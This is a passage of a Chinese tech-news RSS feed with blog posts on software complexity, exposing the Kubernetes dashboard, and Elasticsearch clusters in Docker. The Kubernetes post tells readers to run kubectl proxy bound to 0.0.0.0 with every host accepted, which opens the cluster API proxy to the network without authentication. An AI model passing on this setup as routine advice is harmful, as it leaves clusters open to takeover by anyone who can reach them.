 &lt;p&gt;不应该让用户直面系统的复杂性，即便有额外的工作量，开发人员也应当尽量让用户使用更简单。如果一定要在某个层次处理复杂性，这个层次越低越好。举个例子，Thrift接口调用时，数据传输失败需要引入自动重试机制，重试的策略显然在Thrift内部封装更合适，开放给用户(下游开发人员）会增加额外的使用负担。与之类似的是系统里随处可见的配置参数(通常写在XML文件里），在编程中应当尽量避免这种情况，用户(下游开发人员)一般很难决定哪个参数是最优的，如果一定要开放参数配置，最好给定一个默认值。&lt;/p&gt;
 &lt;p&gt;复杂性下沉，并不是说把所有功能下移到一个层次，过犹不及。如果复杂性跟下层的功能相关，或者下移后，能大大下降其他层次或整体的复杂性，则下移。&lt;/p&gt;
 &lt;h2&gt;5.3 异常处理&lt;/h2&gt;
 &lt;p&gt;异常和错误处理是造成软件复杂的罪魁祸首之一。有些开发人员错误的认为处理和上报的错误越多越好，这会导致过度防御性的编程。如果开发人员捕获了异常并不知道如何处理，直接往上层扔，这就违背了封装原则。&lt;/p&gt;
 &lt;p&gt;降低复杂度的一个原则就是尽可能减少需要处理异常的可能性。而最佳实践就是确保错误终结，例如删除一个并不存在的文件，与其上报文件不存在的异常，不如什么都不做。确保文件不存在就好了，上层逻辑不但不会被影响，还会因为不需要处理额外的异常而变得简单。&lt;/p&gt;
 &lt;h1&gt;六、解决复杂性之分模块&lt;/h1&gt;
 &lt;p&gt;分模块是解决复杂性的重要方法。理想情况下，模块之间应该是相互隔离的，开发人员面对具体的任务，只需要接触和了解整个系统的一小部分，而无需了解或改动其他模块。&lt;/p&gt;
 &lt;h2&gt;6.1 深模块和浅模块&lt;/h2&gt;
 &lt;p&gt;深模块(Deep Module)指的是拥有强大功能和简单接口的模块。深模块是抽象的最佳实践，通过排除模块内部不重要的信息，让用户更容易理解和使用。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="" src="https://segmentfault.com/img/remote/1460000020476522" title=""&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;Unix操作系统文件I/O是典型的深模块，以Open函数为例，接口接受文件名为参数，返回文件描述符。但是这个接口的背后，是几百行的实现代码，用来处理文件存储、权限控制、并发控制、存储介质等等，这些对用户是不可见的。&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;int open(const char* path, int flags, mode_t permissions);
&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;与深模块相对的是浅模块(Shallow Module)，功能简单，接口复杂。通常情况下，浅模块无助于解决复杂性。因为他们提供的收益（功能）被学习和使用成本抵消了。以Java I/O为例，从I/O中读取对象时，需要同时创建三个对象FileInputStream、BufferedInputStream、ObjectInputStream，其中前两个创建后不会被直接使用，这就给开发人员造成了额外的负担。默认情况下，开发人员无需感知到BufferedInputStream，缓冲功能有助于改善文件I/O性能，是个很有用的特性，可以合并到文件I/O对象里。假如我们想放弃缓冲功能，文件I/O也可以设计成提供对应的定制选项。&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;
FileInputStream fileStream = new FileInputStream(fileName);
BufferedInputStream bufferedStream = new BufferedInputStream(fileStream);
ObjectInputStream objectStream = new ObjectInputStream(bufferedStream);
&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;关于浅模块有一些争议，大多数情况是因为浅模块是不得不接受的既定事实，而不见得是因为合理性。当然也有例外，比如领域驱动设计里的防腐层，系统在与外部系统对接时，会单独建立一个服务或模块去适配，用来保证原有系统技术栈的统一和稳定性。&lt;/p&gt;
 &lt;h2&gt;6.2 通用和专用&lt;/h2&gt;
 &lt;p&gt;设计新模块时，应该设计成通用模块还是专用模块？一种观点认为通用模块满足多种场景，在未来遇到预期外的需求时，可以节省时间。另外一种观点则认为，未来的需求很难预测，没必要引入用不到的特性，专用模块可以快速满足当前的需求，等有后续需求时再重构成通用的模块也不迟。&lt;/p&gt;
 &lt;p&gt;以上两种思路都有道理，实际操作的时候可以采用两种方式各自的优点，即在功能实现上满足当前的需求，便于快速实现；接口设计通用化，为未来留下余量。举个例子。&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;
void backspace(Cursor cursor);
void delete(Cursor cursor);
void deleteSelection(Selection selection);

//以上三个函数可以合并为一个更通用的函数
void delete(Position start, Position end);
&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;设计通用性接口需要权衡，既要满足当前的需求，同时在通用性方面不要过度设计。一些可供参考的标准：&lt;/p&gt;
 &lt;ul&gt;
  &lt;li&gt;满足当前需求最简单的接口是什么？在不减少功能的前提下，减少方法的数量，意味着接口的通用性提升了。&lt;/li&gt;
  &lt;li&gt;接口使用的场景有多少？如果接口只有一个特定的场景，可以将多个这样的接口合并成通用接口。&lt;/li&gt;
  &lt;li&gt;满足当前需求情况下，接口的易用性？如果接口很难使用，意味着我们可能过度设计了，需要拆分。&lt;/li&gt;
&lt;/ul&gt;
 &lt;h2&gt;6.3 信息隐藏&lt;/h2&gt;
 &lt;p&gt;信息隐藏是指，程序的设计思路以及内部逻辑应当包含在模块内部，对其他模块不可见。如果一个模块隐藏了很多信息，说明这个模块在提供很多功能的同时又简化了接口，符合前面提到的深模块理念。软件设计领域有个技巧，定义一个&amp;quot;大&amp;quot;类有助于实现信息隐藏。这里的“大”类指的是，如果要实现某功能，将该功能相关的信息都封装进一个类里面。&lt;/p&gt;
 &lt;p&gt;信息隐藏在降低复杂性方面主要有两个作用：一是简化模块接口，将模块功能以更简单、更抽象的方式表现出来，降低开发人员的认知负担；二是减少模块间的依赖，使得系统迭代更轻量。举个例子，如何从B+树中存取信息是一些数据库索引的核心功能，但是数据库开发人员将这些信息隐藏了起来，同时提供简单的对外交互接口，也就是SQL脚本，使得产品和运营同学也能很快地上手。并且，因为有足够的抽象，数据库可以在保持外部兼容的情况下，将索引切换到散列或其他数据结构。&lt;/p&gt;
 &lt;p&gt;与信息隐藏相对的是信息暴露，表现为：设计决策体现在多个模块，造成不同模块间的依赖。举个例子，两个类能处理同类型的文件。这种情况下，可以合并这两个类，或者提炼出一个新类（参考《重构》[3]一书）。工程师应当尽量减少外部模块需要的信息量。&lt;/p&gt;
 &lt;h2&gt;6.4 拆分和合并&lt;/h2&gt;
 &lt;p&gt;两个功能，应该放在一起还是分开？“不管黑猫白猫”，能降低复杂性就好。这里有一些可以借鉴的设计思路：&lt;/p&gt;
 &lt;ul&gt;
  &lt;li&gt;共享信息的模块应当合并，比如两个模块都依赖某个配置项。&lt;/li&gt;
  &lt;li&gt;可以简化接口时合并，这样可以避免客户同时调用多个模块来完成某个功能。&lt;/li&gt;
  &lt;li&gt;可以消除重复时合并，比如抽离重复的代码到一个单独的方法中。&lt;/li&gt;
  &lt;li&gt;通用代码和专用代码分离，如果模块的部分功能可以通用，建议和专用部分分离。举个例子，在实际的系统设计中，我们会将专用模块放在上层，通用模块放在下层以供复用。&lt;/li&gt;
&lt;/ul&gt;
 &lt;h1&gt;七、解决复杂性之注释&lt;/h1&gt;
 &lt;p&gt;注释可以记录开发人员的设计思路和程序功能，降低开发人员的认知负担和解决不可知(Unkown Unkowns)问题，让代码更容易维护。通常情况下，在程序的整个生命周期里，编码只占了少部分，大量时间花在了后续的维护上。有经验的工程师懂得这个道理，通常也会产出更高质量的注释和文档。&lt;/p&gt;
 &lt;p&gt;注释也可以作为系统设计的工具，如果只需要简单的注释就可以描述模块的设计思路和功能，说明这个模块的设计是良好的。另一方面，如果模块很难注释，说明模块没有好的抽象。&lt;/p&gt;
 &lt;h2&gt;7.1 注释的误区&lt;/h2&gt;
 &lt;p&gt;关于注释，很多开发者存在一些认识上的误区，也是造成大家不愿意写注释的原因。比如“好代码是自注释的&amp;quot;、&amp;quot;没有时间“、“现有的注释都没有用，为什么还要浪费时间”等等。这些观点是站不住脚的。“好代码是自注释的”只在某些场景下是合理的，比如为变量和方法选择合适的名称，可以不用单独注释。但是更多的情况，代码很难体现开发人员的设计思路。此外，如果用户只能通过读代码来理解模块的使用，说明代码里没有抽象。好的注释可以极大地提升系统的可维护性，获取长期的效率，不存在“没有时间”一说。注释也是一种可以习得的技能，一旦习得，就可以在后续的工作中应用，这就解决了“注释没有用”的问题。&lt;/p&gt;
 &lt;h2&gt;7.2 使用注释提升系统可维护性&lt;/h2&gt;
 &lt;p&gt;注释应当能提供代码之外额外的信息，重视What和Why，而不是代码是如何实现的(How)，最好不要简单地使用代码中出现过的单词。&lt;/p&gt;
 &lt;p&gt;根据抽象程度，注释可以分为低层注释和高层注释，低层次的注释用来增加精确度，补充完善程序的信息，比如变量的单位、控制条件的边界、值是否允许为空、是否需要释放资源等。高层次注释抛弃细节，只从整体上帮助读者理解代码的功能和结构。这种类型的注释更好维护，如果代码修改不影响整体的功能，注释就无需更新。在实际工作中，需要兼顾细节和抽象。低层注释拆散与对应的实现代码放在一起，高层注释一般用于描述接口。&lt;/p&gt;
 &lt;p&gt;注释先行，注释应该作为设计过程的一部分，写注释最好的时机是在开发的开始环节，这不仅会产生更好的文档，也会帮助产生好的设计，同时减少写文档带来的痛苦。开发人员推迟写注释的理由通常是：代码还在修改中，提前写注释到时候还得再改一遍。这样的话就会衍生两个问题：&lt;/p&gt;
 &lt;ul&gt;
  &lt;li&gt;首先，推迟注释通常意味着根本就没有注释。一旦决定推迟，很容易引发连锁反应，等到代码稳定后，也不会有注释这回事。这时候再想添加注释，就得专门抽出时间，客观条件可能不会允许这么做。&lt;/li&gt;
  &lt;li&gt;其次，就算我们足够自律抽出专门时间去写注释，注释的质量也不会很好。我们潜意识中觉得代码已经写完了，急于开展下一个项目，只是象征性地添加一些注释，无法准确复现当时的设计思路。&lt;/li&gt;
&lt;/ul&gt;
 &lt;p&gt;避免重复的注释。如果有重复注释，开发人员很难找到所有的注释去更新。解决方法是，可以找到醒目的地方存放注释文档，然后在代码处注明去查阅对应文档的地址。如果程序已经在外部文档中注释过了，不要在程序内部再注释了，添加注释的引用就可以了。&lt;/p&gt;
 &lt;p&gt;注释属于代码，而不是提交记录。一种错误的做法是将功能注释放在提交记录里，而不是放在对应代码文件里。因为开发人员通常不会去代码提交记录里去查看程序的功能描述，很不方便。&lt;/p&gt;
 &lt;h2&gt;7.3 使用注释改善系统设计&lt;/h2&gt;
 &lt;p&gt;良好的设计基础是提供好的抽象，在开始编码前编写注释，可以帮助我们提炼模块的核心要素：模块或对象中最重要的功能和属性。这个过程促进我们去思考，而不是简单地堆砌代码。另一方面，注释也能够帮助我们检查自己的模块设计是否合理，正如前文中提到，深模块提供简单的接口和强大的功能，如果接口注释冗长复杂，通常意味着接口也很复杂；注释简单，意味着接口也很简单。在设计的早期注意和解决这些问题，会为我们带来长期的收益。&lt;/p&gt;
 &lt;h1&gt;八、后记&lt;/h1&gt;
 &lt;p&gt;John Ousterhout累计写过25万行代码，是3个操作系统的重要贡献者，这些原则可以视为作者编程经验的总结。有经验的工程师看到这些观点会有共鸣，一些著作如《代码大全》、《领域驱动设计》也会有类似的观点。本文中提到的原则和方法具有一定实操和指导价值，对于很难有定论的问题，也可以在实践中去探索。&lt;/p&gt;
 &lt;p&gt;关于原则和方法论，既不必刻意拔高，也不要嗤之以鼻。指导实践的不是更多的实践，而是实践后的总结和思考。应用原则和方法论实质是借鉴已有的经验，可以减少我们自行摸索的时间。探索新的方法可以帮助我们适应新的场景，但是新方法本身需要经过时间检验。&lt;/p&gt;
 &lt;h2&gt;九、参考文档&lt;/h2&gt;
 &lt;ul&gt;
  &lt;li&gt;John Ousterhout. A Philosophy of Software Design. Yaknyam Press, 2018.&lt;/li&gt;
  &lt;li&gt;梅拉尼·米歇尔. 复杂. 湖南科学技术出版社, 2016.&lt;/li&gt;
  &lt;li&gt;Martin Fowler. Refactoring: Improving the Design of Existing Code (2nd Edition) . Addison-Wesley Signature Series, 2018.&lt;/li&gt;
&lt;/ul&gt;
 &lt;h2&gt;作者介绍&lt;/h2&gt;
 &lt;p&gt;  &lt;strong&gt;政华，顺谱，陶鑫&lt;/strong&gt;，美团打车调度系统工程团队工程师。&lt;/p&gt;
 &lt;h2&gt;招聘信息&lt;/h2&gt;
 &lt;p&gt;美团打车调度系统工程团队诚招高级工程师/技术专家，我们的目标，是与算法、数据团队密切协作，建设高性能、高可用、可配置的打车调度引擎, 为用户提供更好的出行体验。欢迎有兴趣的同学发送简历到tech@meituan.com（邮件标题注明：打车调度系统工程团队）。&lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>软件设计 系统</category>
      <guid isPermaLink="true">https://itindex.net/detail/60048-%E8%BD%AF%E4%BB%B6-%E5%A4%8D%E6%9D%82%E6%80%A7-%E5%8E%9F%E5%88%99</guid>
      <pubDate>Tue, 24 Sep 2019 10:36:39 CST</pubDate>
    </item>
    <item>
      <title>kubernetes dashboard向外网提供服务</title>
      <link>https://itindex.net/detail/59878-kubernetes-dashboard-%E5%A4%96%E7%BD%91</link>
      <description>&lt;p&gt;目前新版本的 kubernetes dashboard （  &lt;a href="https://github.com/kubernetes/dashboard"&gt;https://github.com/kubernetes/dashboard&lt;/a&gt;）安装了后，为了安全起见，默认情况下已经不向外提供服务，只能通过   &lt;a href="http://localhost:8001/api/v1/namespaces/kube-system/services/https:kubernetes-dashboard:/proxy/"&gt;   &lt;code&gt;http://localhost:8001/api/v1/namespaces/kube-system/services/https:kubernetes-dashboard:/proxy/&lt;/code&gt;&lt;/a&gt; 本机访问。在我们学习过程中，总有些不方便，这时我们可以利用   &lt;code&gt;kubectl proxy&lt;/code&gt; 命令来实现。&lt;/p&gt;



 &lt;p&gt;首先我们看一下此命令的一些想着参数&lt;/p&gt;


 &lt;pre&gt;
➜  ~ kubectl proxy -h
To proxy all of the kubernetes api and nothing else, use:

  $ kubectl proxy --api-prefix=/

To proxy only part of the kubernetes api and also some static files:

  $ kubectl proxy --www=/my/files --www-prefix=/static/ --api-prefix=/api/

The above lets you &amp;apos;curl localhost:8001/api/v1/pods&amp;apos;.

To proxy the entire kubernetes api at a different root, use:

  $ kubectl proxy --api-prefix=/custom/

The above lets you &amp;apos;curl localhost:8001/custom/api/v1/pods&amp;apos;

Examples:
  # Run a proxy to kubernetes apiserver on port 8011, serving static content from ./local/www/
  kubectl proxy --port=8011 --www=./local/www/

  # Run a proxy to kubernetes apiserver on an arbitrary local port.
  # The chosen port for the server will be output to stdout.
  kubectl proxy --port=0

  # Run a proxy to kubernetes apiserver, changing the api prefix to k8s-api
  # This makes e.g. the pods api available at localhost:8011/k8s-api/v1/pods/
  kubectl proxy --api-prefix=/k8s-api

Options:
      --accept-hosts=&amp;apos;^localhost$,^127\.0\.0\.1$,^\[::1\]$&amp;apos;: Regular expression for hosts that the proxy should accept.
      --accept-paths=&amp;apos;^/.*&amp;apos;: Regular expression for paths that the proxy should accept.
      --address=&amp;apos;127.0.0.1&amp;apos;: The IP address on which to serve on.
      --api-prefix=&amp;apos;/&amp;apos;: Prefix to serve the proxied API under.
      --disable-filter=false: If true, disable request filtering in the proxy. This is dangerous, and can leave you
vulnerable to XSRF attacks, when used with an accessible port.
  -p, --port=8001: The port on which to run the proxy. Set to 0 to pick a random port.
      --reject-methods=&amp;apos;POST,PUT,PATCH&amp;apos;: Regular expression for HTTP methods that the proxy should reject.
      --reject-paths=&amp;apos;^/api/.*/pods/.*/exec,^/api/.*/pods/.*/attach&amp;apos;: Regular expression for paths that the proxy should
reject.
  -u, --unix-socket=&amp;apos;&amp;apos;: Unix socket on which to run the proxy.
  -w, --www=&amp;apos;&amp;apos;: Also serve static files from the given directory under the specified prefix.
  -P, --www-prefix=&amp;apos;/static/&amp;apos;: Prefix to serve static files under, if static file directory is specified.

Usage:
  kubectl proxy [--port=PORT] [--www=static-dir] [--www-prefix=prefix] [--api-prefix=prefix] [options]

Use &amp;quot;kubectl options&amp;quot; for a list of global command-line options (applies to all commands).
&lt;/pre&gt;


 &lt;p&gt;这里我们只要关注其中的三个参数就可以了&lt;/p&gt;


 &lt;pre&gt;
--accept-hosts=&amp;apos;^localhost$,^127\.0\.0\.1$,^\[::1\]$&amp;apos;: Regular expression for hosts that the proxy should accept.
--address=&amp;apos;127.0.0.1&amp;apos;: The IP address on which to serve on.
--port=8001: The port on which to run the proxy. Set to 0 to pick a random port.
&lt;/pre&gt;


 &lt;p&gt;–accept-hosts 表示哪些客户端访问,默认只允许 localhost 和 127.0.0.1  &lt;br /&gt;–address 表示本机绑定的ip地址，如果值为0.0.0.0 则表示不限，通过任何ip都可以访问.  &lt;br /&gt;a  &lt;br /&gt;–port 表示代理的接口，如果值为0的话，则随机一个端口&lt;/p&gt;



 &lt;p&gt;这里为了外网访问，可设置如下&lt;/p&gt;


 &lt;pre&gt;
nohup kubectl proxy --address=&amp;apos;0.0.0.0&amp;apos; --port=8888 --accept-hosts=&amp;apos;^*$&amp;apos;
&lt;/pre&gt;


 &lt;p&gt;这样我们就可以通过&lt;/p&gt;



 &lt;p&gt;  &lt;a href="http://192.168.0.107:8888/api/v1/namespaces/kube-system/services/https:kubernetes-dashboard:/proxy/" rel="noreferrer noopener" target="_blank"&gt;http://192.168.0.107:8888/api/v1/namespaces/kube-system/services/https:kubernetes-dashboard:/proxy/&lt;/a&gt;&lt;/p&gt;



 &lt;p&gt;直接访问。&lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>系统架构 k8s</category>
      <guid isPermaLink="true">https://itindex.net/detail/59878-kubernetes-dashboard-%E5%A4%96%E7%BD%91</guid>
      <pubDate>Mon, 29 Jul 2019 15:07:20 CST</pubDate>
    </item>
    <item>
      <title>基于docker环境实现Elasticsearch 集群环境</title>
      <link>https://itindex.net/detail/59822-docker-%E7%8E%AF%E5%A2%83-elasticsearch</link>
      <description>&lt;p&gt;最近搭建了es集群的时候，现在需要测试添加一个新的数据节点，项目是使用docker-compose命令来搭建的。&lt;/p&gt;



 &lt;p&gt;以下基于最新版本 es7.2.0进行&lt;/p&gt;



 &lt;h2&gt;搭建es集群&lt;/h2&gt;



 &lt;p&gt;// docker-compose.yaml 集群配置文件&lt;/p&gt;


 &lt;pre&gt;
version: &amp;apos;2.2&amp;apos;
services:
  es01:
    image: docker.elastic.co/elasticsearch/elasticsearch:7.2.0
    container_name: es01
    environment:
      - node.name=es01
      - node.master=true
      - node.data=true
      - discovery.seed_hosts=es02
      - cluster.initial_master_nodes=es01,es02
      - cluster.name=docker-cluster
      - bootstrap.memory_lock=true
      - &amp;quot;ES_JAVA_OPTS=-Xms512m -Xmx512m&amp;quot;
    ulimits:
      memlock:
        soft: -1
        hard: -1
    volumes:
      - esdata01:/usr/share/elasticsearch/data
    ports:
      - 9200:9200
    networks:
      - esnet
  es02:
    image: docker.elastic.co/elasticsearch/elasticsearch:7.2.0
    container_name: es02
    environment:
      - node.name=es02
      - discovery.seed_hosts=es01
      - cluster.initial_master_nodes=es01,es02
      - cluster.name=docker-cluster
      - bootstrap.memory_lock=true
      - &amp;quot;ES_JAVA_OPTS=-Xms512m -Xmx512m&amp;quot;
    ulimits:
      memlock:
        soft: -1
        hard: -1
    volumes:
      - esdata02:/usr/share/elasticsearch/data
    networks:
      - esnet
  es03:
    image: docker.elastic.co/elasticsearch/elasticsearch:7.2.0
    container_name: es03
    environment:
      - node.name=es03
      - discovery.seed_hosts=es01
      - cluster.initial_master_nodes=es01,es02
      - cluster.name=docker-cluster
      - bootstrap.memory_lock=true
      - &amp;quot;ES_JAVA_OPTS=-Xms512m -Xmx512m&amp;quot;
    ulimits:
      memlock:
        soft: -1
        hard: -1
    volumes:
      - esdata03:/usr/share/elasticsearch/data
    networks:
      - esnet
volumes:
  esdata01:
    driver: local
  esdata02:
    driver: local
  esdata03:
    driver: local

networks:
  esnet:

&lt;/pre&gt;


 &lt;p&gt;集群配置了3个master节点，并同时作为数据节点使用，当节点未指定 node.master和node.data的时候，默认值为 true 。执行命令&lt;/p&gt;


 &lt;pre&gt;
$ docker-compose up
&lt;/pre&gt;


 &lt;p&gt;启动集群。&lt;/p&gt;



 &lt;p&gt;验证集群是成成功，在浏览器里访问   &lt;a href="http://localhost:9200"&gt;http://localhost:9200 &lt;/a&gt;和   &lt;a href="http://localhost:9200/_cat/nodes?v"&gt;http://localhost:9200/_cat/nodes?v&lt;/a&gt; 显示正常。三个节点角色为mdi&lt;/p&gt;


 &lt;pre&gt;
ip           heap.percent ram.percent cpu load_1m load_5m load_15m node.role master name
192.168.16.3           28          74   3    0.14    0.94     4.97 mdi       *      es02
192.168.16.4           28          74   3    0.14    0.94     4.97 mdi       -      es01
192.168.16.2           25          74   3    0.14    0.94     4.97 mdi       -      es03
&lt;/pre&gt;


 &lt;h2&gt;添加集群新的节点&lt;/h2&gt;



 &lt;p&gt;新添加的es数据节点文件 join-docker-compose.yaml&lt;/p&gt;


 &lt;pre&gt;
version: &amp;apos;2.2&amp;apos;
services:
  es04:
    image: docker.elastic.co/elasticsearch/elasticsearch:7.2.0
    container_name: es04
    environment:
      - node.name=es04
      - node.master=false
      - node.data=true
      - cluster.initial_master_nodes=es01,es02
      - cluster.name=docker-cluster
      - discovery.seed_hosts=es01
      - bootstrap.memory_lock=true
      - &amp;quot;ES_JAVA_OPTS=-Xms512m -Xmx512m&amp;quot;
    ulimits:
      memlock:
        soft: -1
        hard: -1
    volumes:
      - esdata04:/usr/share/elasticsearch/data
    networks:
      - esnet

  
volumes:
  esdata04:
    driver: local

networks:
  esnet:
    external:
      name: es_esnet

&lt;/pre&gt;


 &lt;p&gt;执行命令&lt;/p&gt;


 &lt;pre&gt;
$ docker-compose -f join-docker-compose.yaml up
&lt;/pre&gt;


 &lt;p&gt;注意这里手动指定了 yaml 文件，两个配置文件都在同一个es目录里。&lt;/p&gt;



 &lt;p&gt;再次使用上面的 http://localhost:9200/_cat/nodes?v 进行验证&lt;/p&gt;


 &lt;pre&gt;
ip           heap.percent ram.percent cpu load_1m load_5m load_15m node.role master name
192.168.16.3           26          93  19    0.44    0.28     1.30 mdi       *      es02
192.168.16.5           22          93  14    0.44    0.28     1.30 di        -      es04
192.168.16.4           15          93  18    0.44    0.28     1.30 mdi       -      es01
192.168.16.2           37          93  20    0.44    0.28     1.30 mdi       -      es03
&lt;/pre&gt;


 &lt;p&gt;这里我们可以看到新增加的节点 es04,节点角色为di, 这个节点由于指定了 node.master=false 所有，并不参考master节点的选举。&lt;/p&gt;



 &lt;p&gt;集群节点使用的docker网络为 es_esnet。&lt;/p&gt;



 &lt;h2&gt;测试es集群master的选举（高可用）&lt;/h2&gt;



 &lt;p&gt;上面我们可以看到当前es02这个master节点为leader，我们现在手动停止这个master容器，让其它的两个master中选举一个leader，执行命令&lt;/p&gt;


 &lt;pre&gt;
$ docker stop es02
&lt;/pre&gt;


 &lt;p&gt;此时，再用上面的方法查看一下集群节点情况&lt;/p&gt;


 &lt;pre&gt;
ip           heap.percent ram.percent cpu load_1m load_5m load_15m node.role master name
192.168.16.5           40          74   2    0.19    0.27     0.94 di        -      es04
192.168.16.4           15          74   2    0.19    0.27     0.94 mdi       *      es01
192.168.16.2           39          74   2    0.19    0.27     0.94 mdi       -      es03
&lt;/pre&gt;


 &lt;p&gt;可以看到es02节点消失了，现在的master leader 节点为 es01。如果我们再把容器启动起来的话，发现es02作为了一个普通的master节点加入到了集群。&lt;/p&gt;



 &lt;h2&gt;注意事项：&lt;/h2&gt;



 &lt;p&gt;其实es集群的环境搭建挺容易的，我在搭建过程中遇到了一此坑，花费了好久才算爬出来，下面记录下来供大家参考。&lt;/p&gt;



 &lt;h3&gt; 一、确认分配给  docker 软件的内存是否足够&lt;/h3&gt;



 &lt;p&gt;在上一篇文章(   &lt;a href="https://blog.haohtml.com/archives/18981"&gt;https://blog.haohtml.com/archives/18981&lt;/a&gt;) 里已经写过了，由于docker 分配的内存不足，导致启动一个新的es节点，会直接killed掉原来的es节点，发生OOM的现象，并且这个问题通过直接查看容器日志根本排查不到，容器内并未有相关的日志信息&lt;/p&gt;



 &lt;h3&gt;二、保证环境的干净&lt;/h3&gt;



 &lt;p&gt;使用 docker-compose 命令启动es节点容器成功后，如果需要对旧节点的配置内容进行修改的话，则一定要执行以下命令&lt;/p&gt;


 &lt;pre&gt;
$ docker-compose -f 配置文件.yaml down -v  
&lt;/pre&gt;


 &lt;p&gt;将原来的数据卷 volume 信息进行删除，否则容易出现新启动的节点又单独变成了一个集群，这时会出现跨集群节点加入被拒绝的错误。我在搭建环境的时候，创建用的 docker-compose up 命令，但修改配置文件后，手动执行 “docker rm 容器ID” 将容器删除，再次执行了 docker-compose up命令时，会出现上面说的这个问题，在这个坑里呆了好久才算出来。&lt;/p&gt;



 &lt;h3&gt;三、参数 discovery.zen.minimum_master_nodes&lt;/h3&gt;



 &lt;p&gt;这里用的是es7.2.0的版本，服务启动时提示参数项discovery.zen.minimum_master_nodes 在下一个版本中即将废除的，但在官方文档里没有找到说明信息，这一点待确认。&lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>系统架构 es</category>
      <guid isPermaLink="true">https://itindex.net/detail/59822-docker-%E7%8E%AF%E5%A2%83-elasticsearch</guid>
      <pubDate>Fri, 12 Jul 2019 15:19:16 CST</pubDate>
    </item>
    <item>
      <title>ES集群的高可用性知识点整理</title>
      <link>https://itindex.net/detail/59777-es-%E9%9B%86%E7%BE%A4-%E9%AB%98%E5%8F%AF%E7%94%A8%E6%80%A7</link>
      <description>&lt;p&gt;为了防止ES集群中单点问题，一般都需要对集群节点做高可用性，当发生单点问题时，也可以向外正常提供服务。这里主要记录一下节点的加入、离开和选举。&lt;/p&gt;



 &lt;p&gt; 集群安装教程请参考：  &lt;a href="https://www.elastic.co/guide/en/elasticsearch/reference/current/install-elasticsearch.html"&gt;https://www.elastic.co/guide/en/elasticsearch/reference/current/install-elasticsearch.html&lt;/a&gt;&lt;/p&gt;



 &lt;p&gt;节点角色：  &lt;a href="https://www.jianshu.com/p/7c4818dda91a"&gt;https://www.jianshu.com/p/7c4818dda91a&lt;/a&gt;&lt;/p&gt;



 &lt;h2&gt;新节点的加入&lt;/h2&gt;



 &lt;p&gt;随着数量大的增加，有时候我们不得进行机器的扩容，这时间就需要加入一些新的机器节点，用来提高访问速度。&lt;/p&gt;



 &lt;p&gt;当一个新节点加入的时候，它通过读取   &lt;code&gt;discovery.zen.ping.unicast.hosts&lt;/code&gt; 配置的节点获取集群状态，然后找到   &lt;code&gt;master&lt;/code&gt; 节点，并向其发送一个join request(discovery.zen.join_timeout)。主节点接收到请求后，同步集群状态到新节点。&lt;/p&gt;



 &lt;p&gt;对于每个节点角色一般有三种，分别为master、data 和 eligible 。就是我们通过 http://localhost:9200/_cat/nodes?v 查看到的列 node.role 的值。  &lt;br /&gt;master: 表示为master节点，主要管理集群信息、primary分片和replica分片信息、维护index信息。  &lt;br /&gt;data: 表示数据节点，存储数据，维护倒排索引，提供数据检索等。  &lt;br /&gt;eligible: 表示参与选举&lt;/p&gt;



 &lt;p&gt;每个节点都可以配置成这三种身份，如果不配置的话，则默认为 mdi 角色。&lt;/p&gt;



 &lt;h2&gt;非主节点离开&lt;/h2&gt;



 &lt;p&gt;当主节点定期ping（ping_interval 默认为1s）一个节点出现3次ping不通的情况时（ping_timeout 默认为30s），主节点会认为该节点已宕机，将该节点踢出集群。&lt;/p&gt;



 &lt;h2&gt;主节点的选举&lt;/h2&gt;



 &lt;p&gt;当主节点发生故障时，集群中的其他节点将会ping当前的 master eligible 节点，并从中选出一个新的主节点。  &lt;br /&gt; 节点可以通过设置   &lt;code&gt;node.master=true&lt;/code&gt; 来设置自己的角色为主节点。  &lt;br /&gt; 通过配置  &lt;code&gt;discovery.zen.minimum_master_nodes&lt;/code&gt;防止集群出现脑裂。该配置通过检查集群中 master eligible 的个数来判断是否选举出一个主节点。其个数最好设置为  &lt;strong&gt;(number_master eligible/2)+1&lt;/strong&gt;，防止当主节点出问题时，一个集群分裂为两个集群。  &lt;br /&gt;具有最小编号的active master eligible node将会被选举为master节点。&lt;/p&gt;



 &lt;blockquote&gt;  &lt;p&gt;脑裂的概念：   &lt;br /&gt; 如果你有2个Master候选节点，并设置最小Master节点数为1，当网络抖动或偶然断开时，2个Master都会认为另一个Master挂掉了，他们都被选举为主Master，则此时集群中存在两个主Master，即物理上1个集群变成了逻辑上的2个集群，而当其中一个Master再次挂掉时，即便它恢复后回到了原有的集群，在它作为主Master期间写入的数据都会丢失，因为它上面维护了Index信息。&lt;/p&gt;&lt;/blockquote&gt;



 &lt;p&gt;&lt;/p&gt;



 &lt;p&gt;&lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>系统架构</category>
      <guid isPermaLink="true">https://itindex.net/detail/59777-es-%E9%9B%86%E7%BE%A4-%E9%AB%98%E5%8F%AF%E7%94%A8%E6%80%A7</guid>
      <pubDate>Wed, 03 Jul 2019 11:34:51 CST</pubDate>
    </item>
    <item>
      <title>使用DNSPOD的API实现动态域名</title>
      <link>https://itindex.net/detail/59752-dnspod-api-%E5%9F%9F%E5%90%8D</link>
